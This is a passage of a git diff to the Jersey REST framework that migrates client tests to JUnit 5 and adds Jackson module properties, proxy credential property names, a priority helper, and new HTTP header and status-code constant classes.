Assertions.fail(); } catch (ExecutionException ee) { - Assert.assertEquals(1000, counter.get()); - Assert.assertEquals(ProcessingException.class, ee.getCause().getClass()); - Assert.assertEquals(ConnectException.class, ee.getCause().getCause().getClass()); + Assertions.assertEquals(1000, counter.get()); + Assertions.assertEquals(ProcessingException.class, ee.getCause().getClass()); + Assertions.assertEquals(ConnectException.class, ee.getCause().getCause().getClass()); } } @@ -248,7 +248,7 @@ public void testPreThrowsPostResolves() { })) .build().target(URL).request(); try (Response response = builder.get()) { - Assert.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); + Assertions.assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); } } @@ -259,8 +259,8 @@ public void testPostInvocationInterceptorIsHitforEachRequest() { .register(new AbortRequestFilter()).build().target(URL).request(); for (int i = 1; i != 10; i++) { try (Response response = builder.get()) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals(i, counter.get()); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals(i, counter.get()); } } } @@ -276,12 +276,12 @@ private TestInvocationCallback(Predicate responsePredicate, Predicate< @Override public void completed(Response response) { - Assert.assertTrue(responsePredicate.test(response)); + Assertions.assertTrue(responsePredicate.test(response)); } @Override public void failed(Throwable throwable) { - Assert.assertTrue(throwablePredicate.test(throwable)); + Assertions.assertTrue(throwablePredicate.test(throwable)); } } @@ -297,13 +297,13 @@ private CounterPostInvocationInterceptor(BiPredicate predicat @Override public void beforeRequest(ClientRequestContext requestContext) { - Assert.assertTrue(predicate.test(requestContext)); + Assertions.assertTrue(predicate.test(requestContext)); counter.incrementAndGet(); } } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/spi/PreInvocationInterceptorTest.java b/core-client/src/test/java/org/glassfish/jersey/client/spi/PreInvocationInterceptorTest.java index 2fe554801e2..8c36b044f20 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/spi/PreInvocationInterceptorTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/spi/PreInvocationInterceptorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,11 +17,12 @@ package org.glassfish.jersey.client.spi; import org.glassfish.jersey.spi.ThreadPoolExecutorProvider; -import org.junit.Assert; -import org.junit.Before; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; import jakarta.annotation.Priority; +import jakarta.inject.Inject; import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.ClientBuilder; import jakarta.ws.rs.client.ClientRequestContext; @@ -43,7 +44,7 @@ public class PreInvocationInterceptorTest { private AtomicInteger counter; - @Before + @BeforeEach public void setup() { counter = new AtomicInteger(); } @@ -55,7 +56,7 @@ public void testPreInvocationInterceptorExecutedWhenBuilderBuild() { .register(new CounterRequestFilter(a -> a.get() == 1)) .register(AbortRequestFilter.class).build().target(URL).request(); try (Response response = builder.build("GET").invoke()) { - Assert.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + Assertions.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); } } @@ -66,7 +67,7 @@ public void testPreInvocationInterceptorExecutedWhenMethodGET() { .register(new CounterRequestFilter(a -> a.get() == 1)) .register(AbortRequestFilter.class).build().target(URL).request(); try (Response response = builder.method("GET")) { - Assert.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + Assertions.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); } } @@ -77,7 +78,7 @@ public void testPreInvocationInterceptorPropertySet() { .register(new PropertyRequestFilter(a -> PROPERTY_VALUE.equals(a.getProperty(PROPERTY_NAME)))) .register(AbortRequestFilter.class).build().target(URL).request().property(PROPERTY_NAME, PROPERTY_VALUE); try (Response response = builder.method("GET")) { - Assert.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + Assertions.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); } } @@ -88,7 +89,7 @@ public void testPreInvocationInterceptorHasInjection() { .register(InjectedPreInvocationInterceptor.class) .register(AbortRequestFilter.class).build().target(URL).request(); try (Response response = builder.method("GET")) { - Assert.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + Assertions.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); } } @@ -101,7 +102,7 @@ public void testPreInvocationInterceptorInTheSameThreadInAsync() throws Executio .register(new PropertyRequestFilter(a -> Thread.currentThread().getName().startsWith(EXECUTOR_THREAD_NAME))) .register(AbortRequestFilter.class).build().target(URL).request(); try (Response response = builder.async().method("GET").get()) { - Assert.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + Assertions.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); } } @@ -114,7 +115,7 @@ public void testPreInvocationInterceptorInTheSameThreadInJerseyRx() throws Execu .register(new PropertyRequestFilter(a -> Thread.currentThread().getName().startsWith(EXECUTOR_THREAD_NAME))) .register(AbortRequestFilter.class).build().target(URL).request(); try (Response response = builder.rx().method("GET").toCompletableFuture().get()) { - Assert.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + Assertions.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); } } @@ -129,7 +130,7 @@ public void testPreInvocationInterceptorAbortWith() { .register(new PropertyRequestFilter(a -> {throw new IllegalStateException(); })) .register(AbortRequestFilter.class).build().target(URL).request(); try (Response response = builder.get()) { - Assert.assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); + Assertions.assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); } } @@ -154,9 +155,9 @@ public void testPreInvocationInterceptorAbortWithThrowsInMultiple() { .register(new PropertyRequestFilter(a -> {throw new IllegalStateException(); })) .register(AbortRequestFilter.class).build().target(URL).request(); try (Response response = builder.get()) { - Assert.fail(); + Assertions.fail(); } catch (ProcessingException exception) { - Assert.assertEquals(IllegalStateException.class, exception.getCause().getClass()); + Assertions.assertEquals(IllegalStateException.class, exception.getCause().getClass()); } } @@ -169,7 +170,7 @@ public void testPrioritiesOnPreInvocationInterceptor() { .register(new Priority200PreInvocationInterceptor(a -> a.get() < 2){}) .register(AbortRequestFilter.class).build().target(URL).request(); try (Response response = builder.get()) { - Assert.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + Assertions.assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); } } @@ -181,10 +182,10 @@ public void testMultiExceptionInPreInvocationInterceptor() { .register(new Priority100PreInvocationInterceptor(a -> {throw new RuntimeException("TWO"); })) .register(AbortRequestFilter.class).build().target(URL).request(); try (Response response = builder.get()) { - Assert.fail(); + Assertions.fail(); } catch (RuntimeException e) { - Assert.assertEquals("ONE", e.getSuppressed()[0].getMessage()); - Assert.assertEquals("TWO", e.getSuppressed()[1].getMessage()); + Assertions.assertEquals("ONE", e.getSuppressed()[0].getMessage()); + Assertions.assertEquals("TWO", e.getSuppressed()[1].getMessage()); } } @@ -195,8 +196,8 @@ public void testPreInvocationInterceptorIsHitforEachRequest() { .register(new AbortRequestFilter()).build().target(URL).request(); for (int i = 1; i != 10; i++) { try (Response response = builder.get()) { - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals(i, counter.get()); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals(i, counter.get()); } } } @@ -217,7 +218,7 @@ private CounterRequestFilter(Predicate consumer) { @Override public void filter(ClientRequestContext requestContext) throws IOException { - Assert.assertTrue(consumer.test(counter)); + Assertions.assertTrue(consumer.test(counter)); counter.getAndIncrement(); } } @@ -231,7 +232,7 @@ private CounterPreInvocationInterceptor(Predicate predicate) { @Override public void beforeRequest(ClientRequestContext requestContext) { - Assert.assertTrue(predicate.test(counter)); + Assertions.assertTrue(predicate.test(counter)); counter.getAndIncrement(); } } @@ -245,7 +246,7 @@ private PropertyRequestFilter(Predicate predicate) { @Override public void filter(ClientRequestContext requestContext) throws IOException { - Assert.assertTrue(predicate.test(requestContext)); + Assertions.assertTrue(predicate.test(requestContext)); } } @@ -258,18 +259,22 @@ private PropertyPreInvocationInterceptor(Predicate predica @Override public void beforeRequest(ClientRequestContext requestContext) { - Assert.assertTrue(predicate.test(requestContext)); + Assertions.assertTrue(predicate.test(requestContext)); } } private static class InjectedPreInvocationInterceptor implements PreInvocationInterceptor { - @Context - Configuration configuration; + private final Configuration configuration; + + @Inject + public InjectedPreInvocationInterceptor(@Context Configuration configuration) { + this.configuration = configuration; + } @Override public void beforeRequest(ClientRequestContext requestContext) { - Assert.assertNotNull(configuration); - Assert.assertEquals(PROPERTY_VALUE, configuration.getProperty(PROPERTY_NAME)); + Assertions.assertNotNull(configuration); + Assertions.assertEquals(PROPERTY_VALUE, configuration.getProperty(PROPERTY_NAME)); } } diff --git a/core-common/pom.xml b/core-common/pom.xml index 1a8fa0f9a7a..3e5eae4144e 100644 --- a/core-common/pom.xml +++ b/core-common/pom.xml @@ -1,7 +1,7 @@ classesAndMethods @@ -192,8 +216,8 @@ jakarta.annotation-api - com.sun.activation - jakarta.activation + org.eclipse.angus + angus-activation provided true @@ -212,8 +236,8 @@ - junit - junit + org.junit.jupiter + junit-jupiter test @@ -223,7 +247,7 @@ org.hamcrest - hamcrest-library + hamcrest test diff --git a/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java b/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java index 6b2021d2ec4..e71e5e14fc5 100644 --- a/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java +++ b/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -255,6 +255,71 @@ public final class CommonProperties { */ public static final String JAXRS_SERVICE_LOADING_ENABLE = "jakarta.ws.rs.loadServices"; + /** + * Comma separated list of jackson modules which are only enabled (only those modules will be used) + * for json-jackson processing + * + * @since 2.36 + */ + public static final String JSON_JACKSON_ENABLED_MODULES = "jersey.config.json.jackson.enabled.modules"; + + /** + * Client-specific version of {@link CommonProperties#JSON_JACKSON_ENABLED_MODULES}. + * + * If present, it overrides the generic one for the client environment. + * @since 2.36 + */ + public static final String JSON_JACKSON_ENABLED_MODULES_CLIENT = "jersey.config.client.json.jackson.enabled.modules"; + + /** + * Server-specific version of {@link CommonProperties#JSON_JACKSON_ENABLED_MODULES}. + * + * If present, it overrides the generic one for the server environment. + * @since 2.36 + */ + public static final String JSON_JACKSON_ENABLED_MODULES_SERVER = "jersey.config.server.json.jackson.enabled.modules"; + + /** + * Comma separated list of jackson modules which shall be excluded from json-jackson processing. + * the JaxbAnnotationModule is always excluded (cannot be configured). + * + * @since 2.36 + */ + + public static final String JSON_JACKSON_DISABLED_MODULES = "jersey.config.json.jackson.disabled.modules"; + + /** + * Client-specific version of {@link CommonProperties#JSON_JACKSON_DISABLED_MODULES}. + * + * If present, it overrides the generic one for the client environment. + * @since 2.36 + */ + public static final String JSON_JACKSON_DISABLED_MODULES_CLIENT = "jersey.config.client.json.jackson.disabled.modules"; + + /** + * Server-specific version of {@link CommonProperties#JSON_JACKSON_DISABLED_MODULES}. + * + * If present, it overrides the generic one for the client environment. + * @since 2.36 + */ + public static final String JSON_JACKSON_DISABLED_MODULES_SERVER = "jersey.config.server.json.jackson.disabled.modules"; + + /** + *

    + * Force the {@link jakarta.ws.rs.ext.ParamConverter} to throw {@link IllegalArgumentException} as mandated in javadoc. + * Must be convertible to {@link Boolean} value. + *

    + *

    + * Internally the {@code Exception} is caught by Jersey and usually converted to {@code null}. + * Therefore, the default value is set to {@code false} to speed-up the conversion. + *

    + *

    + * The name of the configuration property is {@value}. + *

    + * @since 2.40 + */ + public static final String PARAM_CONVERTERS_THROW_IAE = "jersey.config.paramconverters.throw.iae"; + /** * Prevent instantiation. */ @@ -274,7 +339,7 @@ private CommonProperties() { * * @since 2.8 */ - public static Object getValue(final Map properties, final String propertyName, final Class type) { + public static T getValue(final Map properties, final String propertyName, final Class type) { return PropertiesHelper.getValue(properties, propertyName, type, CommonProperties.LEGACY_FALLBACK_MAP); } diff --git a/core-common/src/main/java/org/glassfish/jersey/ExternalProperties.java b/core-common/src/main/java/org/glassfish/jersey/ExternalProperties.java index 04ef1bd323f..a8f6ec6eee9 100644 --- a/core-common/src/main/java/org/glassfish/jersey/ExternalProperties.java +++ b/core-common/src/main/java/org/glassfish/jersey/ExternalProperties.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -32,11 +32,21 @@ public final class ExternalProperties { public static final String HTTP_PROXY_PORT = "http.proxyPort"; /** - * Property used to indicates the hosts that should be accessed + * Property used to indicate the hosts that should be accessed * without going through the proxy. */ public static final String HTTP_NON_PROXY_HOSTS = "http.nonProxyHosts"; + /** + * Property used to specify the user name to authenticate with the proxy. + */ + public static final String HTTP_PROXY_USER = "http.proxyUser"; + + /** + * Property used to specify the password to authenticate with the proxy. + */ + public static final String HTTP_PROXY_PASSWORD = "http.proxyPassword"; + /** * Prevent instantiation. */ diff --git a/core-common/src/main/java/org/glassfish/jersey/JerseyPriorities.java b/core-common/src/main/java/org/glassfish/jersey/JerseyPriorities.java index 6bcde0158f5..941b38372f4 100644 --- a/core-common/src/main/java/org/glassfish/jersey/JerseyPriorities.java +++ b/core-common/src/main/java/org/glassfish/jersey/JerseyPriorities.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,7 @@ package org.glassfish.jersey; +import jakarta.annotation.Priority; import jakarta.ws.rs.Priorities; /** @@ -36,4 +37,15 @@ private JerseyPriorities() { * processing after the components with {@code Priorities.ENTITY_CODER} are processed. */ public static final int POST_ENTITY_CODER = Priorities.ENTITY_CODER + 100; + + /** + * Return the value of priority annotation on a given class, if exists. Return the default value if not present. + * @param prioritized the provider class that potentially has a priority. + * @param defaultValue the default priority value if not {@link @Priority) present + * @return the value of Priority annotation if present or the default otherwise. + */ + public static int getPriorityValue(Class prioritized, int defaultValue) { + final Priority priority = prioritized.getAnnotation(Priority.class); + return priority != null ? priority.value() : defaultValue; + } } diff --git a/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java index 1bf2647fd40..b3befea473c 100644 --- a/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java +++ b/core-common/src/main/java/org/glassfish/jersey/SslConfigurator.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2007, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2007, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,10 +17,11 @@ package org.glassfish.jersey; import java.io.ByteArrayInputStream; -import java.io.FileInputStream; +import java.io.File; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; +import java.nio.file.Files; import java.security.AccessController; import java.security.KeyManagementException; import java.security.KeyStore; @@ -635,7 +636,7 @@ public SSLContext createSSLContext() { if (keyStoreBytes != null) { keyStoreInputStream = new ByteArrayInputStream(keyStoreBytes); } else if (!keyStoreFile.equals("NONE")) { - keyStoreInputStream = new FileInputStream(keyStoreFile); + keyStoreInputStream = Files.newInputStream(new File(keyStoreFile).toPath()); } _keyStore.load(keyStoreInputStream, keyStorePass); } finally { @@ -710,7 +711,7 @@ public SSLContext createSSLContext() { if (trustStoreBytes != null) { trustStoreInputStream = new ByteArrayInputStream(trustStoreBytes); } else if (!trustStoreFile.equals("NONE")) { - trustStoreInputStream = new FileInputStream(trustStoreFile); + trustStoreInputStream = Files.newInputStream(new File(trustStoreFile).toPath()); } _trustStore.load(trustStoreInputStream, trustStorePass); } finally { diff --git a/core-common/src/main/java/org/glassfish/jersey/http/HttpHeaders.java b/core-common/src/main/java/org/glassfish/jersey/http/HttpHeaders.java new file mode 100644 index 00000000000..e4de92c644c --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/http/HttpHeaders.java @@ -0,0 +1,148 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.http; + +/** + * Additional HTTP headers that are not listed in Jakarta REST {@link jakarta.ws.rs.core.HttpHeaders}. + */ +public interface HttpHeaders extends jakarta.ws.rs.core.HttpHeaders { + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String ACCEPT_RANGES = "Accept-Ranges"; + + /** + * See {@link PATCH Method for HTTP} + */ + public static final String ACCEPT_PATCH = "Accept-Patch"; + + /** + * See {@link HTTP Caching} + */ + public static final String AGE = "Age"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String CONNECTION = "Connection"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String CONTENT_RANGE = "Content-Range"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String EXPECT = "Expect"; + + /** + * See {@link Forwarded HTTP Extension} + */ + public static final String FORWARDED = "Forwarded"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String FROM = "From"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String IF_RANGE = "If-Range"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String MAX_FORWARDS = "Max-Forwards"; + + /** + * See {@link (MIME) Part One: Format of Internet Message Bodies} + */ + public static final String MIME_VERSION = "Mime-Version"; + + /** + * See {@link Web Linking} + */ + public static final String LINK = "Link"; + + /** + * See {@link The Web Origin Concept} + */ + public static final String ORIGIN = "Origin"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String PROXY_AUTHENTICATE = "Proxy-Authenticate"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String PROXY_AUTHORIZATION = "Proxy-Authorization"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String PROXY_AUTHENTICATION_INFO = "Proxy-Authentication-Info"; + + /** + * See {@link HTTP/1.1 documentation} + */ + public static final String PROXY_CONNECTION = "Proxy-Connection"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String RANGE = "Range"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String REFERER = "Referer"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String SERVER = "Server"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String TE = "TE"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String TRAILER = "Trailer"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String TRANSFER_ENCODING = "Transfer-Encoding"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String UPGRADE = "Upgrade"; + + /** + * See {@link HTTP Semantics documentation} + */ + public static final String VIA = "Via"; +} diff --git a/core-common/src/main/java/org/glassfish/jersey/http/ResponseStatus.java b/core-common/src/main/java/org/glassfish/jersey/http/ResponseStatus.java new file mode 100644 index 00000000000..a86e7679ae9 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/http/ResponseStatus.java @@ -0,0 +1,405 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.http; + +import jakarta.ws.rs.core.Response; + +/** + * This is a list of Hypertext Transfer Protocol (HTTP) response status codes. + * The Internet Assigned Numbers Authority (IANA) maintains the official registry of HTTP status codes. + * See Hypertext Transfer Protocol (HTTP) Status Code Registry. + */ +public final class ResponseStatus { + + /** + * 1xx informational status codes - request received, continuing process + */ + public static class Info1xx { + /** + * 100 Continue. + * See HTTP Semantics. + */ + public static final Response.StatusType CONTINUE_100 = new ResponseStatusImpl(100, "Continue"); + /** + * 101 Switching Protocols. + * See HTTP Semantics. + */ + public static final Response.StatusType SWITCHING_PROTOCOLS_101 = new ResponseStatusImpl(101, "Switching Protocols"); + /** + * 102 Processing. + * See HTTP Extensions for Distributed Authoring -- WEBDAV. + */ + public static final Response.StatusType PROCESSING_102 = new ResponseStatusImpl(102, "Processing"); + /** + * 103 Early Hints. + * See An HTTP Status Code for Indicating Hints. + */ + public static final Response.StatusType EARLY_HINTS_103 = new ResponseStatusImpl(103, "Early Hints"); + } + + /** + * 2xx success status codes - the action was successfully received, understood, and accepted. + */ + public static class Success2xx { + /** + * 200 OK. + * See HTTP Semantics. + */ + public static final Response.StatusType OK_200 = new ResponseStatusImpl(200, "OK"); + /** + * 201 Created. + * See HTTP Semantics. + */ + public static final Response.StatusType CREATED_201 = new ResponseStatusImpl(201, "Created"); + /** + * 202 Accepted. + * See HTTP Semantics. + */ + public static final Response.StatusType ACCEPTED_202 = new ResponseStatusImpl(202, "Accepted"); + /** + * 203 Non-Authoritative Information. + * See HTTP Semantics. + */ + public static final Response.StatusType NON_AUTHORITATIVE_INFORMATION_203 + = new ResponseStatusImpl(203, "Non-Authoritative Information"); + /** + * 204 No Content. + * See HTTP Semantics. + */ + public static final Response.StatusType NO_CONTENT_204 = new ResponseStatusImpl(204, "No Content"); + /** + * 205 Reset Content. + * See HTTP Semantics. + */ + public static final Response.StatusType RESET_CONTENT_205 = new ResponseStatusImpl(205, "Reset Content"); + /** + * 206 Partial Content. + * See HTTP Semantics. + */ + public static final Response.StatusType PARTIAL_CONTENT_206 = new ResponseStatusImpl(206, "Partial Content"); + /** + * 207 Multi-Status. + * See HTTP Extensions for Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType MULTI_STATUS_207 = new ResponseStatusImpl(207, "Multi-Status"); + /** + * 208 Already Reported. + * See Binding Extensions to Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType ALREADY_REPORTED_208 = new ResponseStatusImpl(208, "Already Reported"); + /** + * 226 IM used. + * See Delta encoding in HTTP + */ + public static final Response.StatusType IM_USED_226 = new ResponseStatusImpl(226, "IM used"); + } + + /** + * 3xx redirection status codes - further action must be taken in order to complete the request. + */ + public static class Redirect3xx { + /** + * 300 Multiple Choices. + * See HTTP Semantics. + */ + public static final Response.StatusType MULTIPLE_CHOICES_300 = new ResponseStatusImpl(300, "Multiple Choices"); + /** + * 301 Moved Permanently. + * See HTTP Semantics. + */ + public static final Response.StatusType MOVED_PERMANENTLY_301 = new ResponseStatusImpl(301, "Moved Permanently"); + /** + * 302 Found. + * See HTTP Semantics. + */ + public static final Response.StatusType FOUND_302 = new ResponseStatusImpl(302, "Found"); + /** + * 303 See Other. + * See HTTP Semantics. + */ + public static final Response.StatusType SEE_OTHER_303 = new ResponseStatusImpl(303, "See Other"); + /** + * 304 Not Modified. + * See HTTP Semantics. + */ + public static final Response.StatusType NOT_MODIFIED_304 = new ResponseStatusImpl(304, "Not Modified"); + /** + * 305 Use Proxy. + * See HTTP Semantics. + */ + public static final Response.StatusType USE_PROXY_305 = new ResponseStatusImpl(305, "Use Proxy"); + /** + * 307 Temporary Redirect. + * See HTTP Semantics. + */ + public static final Response.StatusType TEMPORARY_REDIRECT_307 = new ResponseStatusImpl(307, "Temporary Redirect"); + /** + * 308 Permanent Redirect. + * See HTTP Semantics. + */ + public static final Response.StatusType PERMANENT_REDIRECT_308 = new ResponseStatusImpl(308, "Permanent Redirect"); + } + + /** + * 4xx client error status codes - the request contains bad syntax or cannot be fulfilled. + */ + public static class ClientError4xx { + /** + * 400 Bad Request. + * See HTTP Semantics. + */ + public static final Response.StatusType BAD_REQUEST_400 = new ResponseStatusImpl(400, "Bad Request"); + /** + * 401 Unauthorized. + * See HTTP Semantics. + */ + public static final Response.StatusType UNAUTHORIZED_401 = new ResponseStatusImpl(401, "Unauthorized"); + /** + * 402 Payment Required. + * See HTTP Semantics. + */ + public static final Response.StatusType PAYMENT_REQUIRED_402 = new ResponseStatusImpl(402, "Payment Required"); + /** + * 403 Forbidden. + * See HTTP Semantics. + */ + public static final Response.StatusType FORBIDDEN_403 = new ResponseStatusImpl(403, "Forbidden"); + /** + * 404 Not Found. + * See HTTP Semantics. + */ + public static final Response.StatusType NOT_FOUND_404 = new ResponseStatusImpl(404, "Not Found"); + /** + * 405 Method Not Allowed. + * See HTTP Semantics. + */ + public static final Response.StatusType METHOD_NOT_ALLOWED_405 = new ResponseStatusImpl(405, "Method Not Allowed"); + /** + * 406 Not Acceptable. + * See HTTP Semantics. + */ + public static final Response.StatusType NOT_ACCEPTABLE_406 = new ResponseStatusImpl(406, "Not Acceptable"); + /** + * 407 Proxy Authentication Required. + * See HTTP Semantics. + */ + public static final Response.StatusType PROXY_AUTHENTICATION_REQUIRED_407 + = new ResponseStatusImpl(407, "Proxy Authentication Required"); + /** + * 408 Request Timeout. + * See HTTP Semantics. + */ + public static final Response.StatusType REQUEST_TIMEOUT_408 = new ResponseStatusImpl(408, "Request Timeout"); + /** + * 409 Conflict. + * See HTTP Semantics. + */ + public static final Response.StatusType CONFLICT_409 = new ResponseStatusImpl(409, "Conflict"); + /** + * 410 Gone. + * See HTTP Semantics. + */ + public static final Response.StatusType GONE_410 = new ResponseStatusImpl(410, "Gone"); + /** + * 411 Length Required. + * See HTTP Semantics. + */ + public static final Response.StatusType LENGTH_REQUIRED_411 = new ResponseStatusImpl(411, "Length Required"); + /** + * 412 Precondition Failed. + * See HTTP Semantics. + */ + public static final Response.StatusType PRECONDITION_FAILED_412 = new ResponseStatusImpl(412, "Precondition Failed"); + /** + * 413 Request Entity Too Large. + * See HTTP Semantics. + */ + public static final Response.StatusType REQUEST_ENTITY_TOO_LARGE_413 + = new ResponseStatusImpl(413, "Request Entity Too Large"); + /** + * 414 Request-URI Too Long. + * See HTTP Semantics. + */ + public static final Response.StatusType REQUEST_URI_TOO_LONG_414 = new ResponseStatusImpl(414, "Request-URI Too Long"); + /** + * 415 Unsupported Media Type. + * See HTTP Semantics. + */ + public static final Response.StatusType UNSUPPORTED_MEDIA_TYPE_415 + = new ResponseStatusImpl(415, "Unsupported Media Type"); + /** + * 416 Requested Range Not Satisfiable. + * See HTTP Semantics. + */ + public static final Response.StatusType REQUESTED_RANGE_NOT_SATISFIABLE_416 + = new ResponseStatusImpl(416, "Requested Range Not Satisfiable"); + /** + * 417 Expectation Failed. + * See HTTP Semantics. + */ + public static final Response.StatusType EXPECTATION_FAILED_417 = new ResponseStatusImpl(417, "Expectation Failed"); + /** + * 418 I'm a teapot. + * See HTTP Semantics + * and Hyper Text Coffee Pot Control Protocol + */ + public static final Response.StatusType I_AM_A_TEAPOT_418 = new ResponseStatusImpl(418, "I'm a teapot"); + /** + * 421 Misdirected Request. + * See HTTP Semantics. + */ + public static final Response.StatusType MISDIRECTED_REQUEST_421 = new ResponseStatusImpl(421, "Misdirected Request"); + /** + * 422 Unprocessable Content. + * See HTTP Semantics. + */ + public static final Response.StatusType UNPROCESSABLE_CONTENT_422 = new ResponseStatusImpl(422, "Unprocessable Content"); + /** + * 423 Locked. + * See HTTP Extensions for Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType LOCKED_423 = new ResponseStatusImpl(423, "Locked"); + /** + * 424 Failed Dependency. + * See HTTP Extensions for Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType FAILED_DEPENDENCY_424 = new ResponseStatusImpl(424, "Failed Dependency"); + /** + * 425 Too Early. + * See Using Early Data in HTTP. + */ + public static final Response.StatusType TOO_EARLY_425 = new ResponseStatusImpl(425, "Too Early"); + /** + * 426 Upgrade Required. + * See HTTP Semantics. + */ + public static final Response.StatusType UPGRADE_REQUIRED_426 = new ResponseStatusImpl(426, "Upgrade Required"); + /** + * 428 Precondition Required. + * See Additional HTTP Status Codes. + */ + public static final Response.StatusType PRECONDITION_REQUIRED_428 = new ResponseStatusImpl(428, "Precondition Required"); + /** + * 429 Too Many Requests. + * See Additional HTTP Status Codes. + */ + public static final Response.StatusType TOO_MANY_REQUESTS_429 = new ResponseStatusImpl(429, "Too Many Requests"); + /** + * 431 Request Header Fields Too Large. + * See Additional HTTP Status Codes. + */ + public static final Response.StatusType REQUEST_HEADER_FIELDS_TOO_LARGE_431 + = new ResponseStatusImpl(431, "Request Header Fields Too Large"); + /** + * 451 Unavailable For Legal Reasons. + * See An HTTP Status Code to Report Legal Obstacles. + */ + public static final Response.StatusType 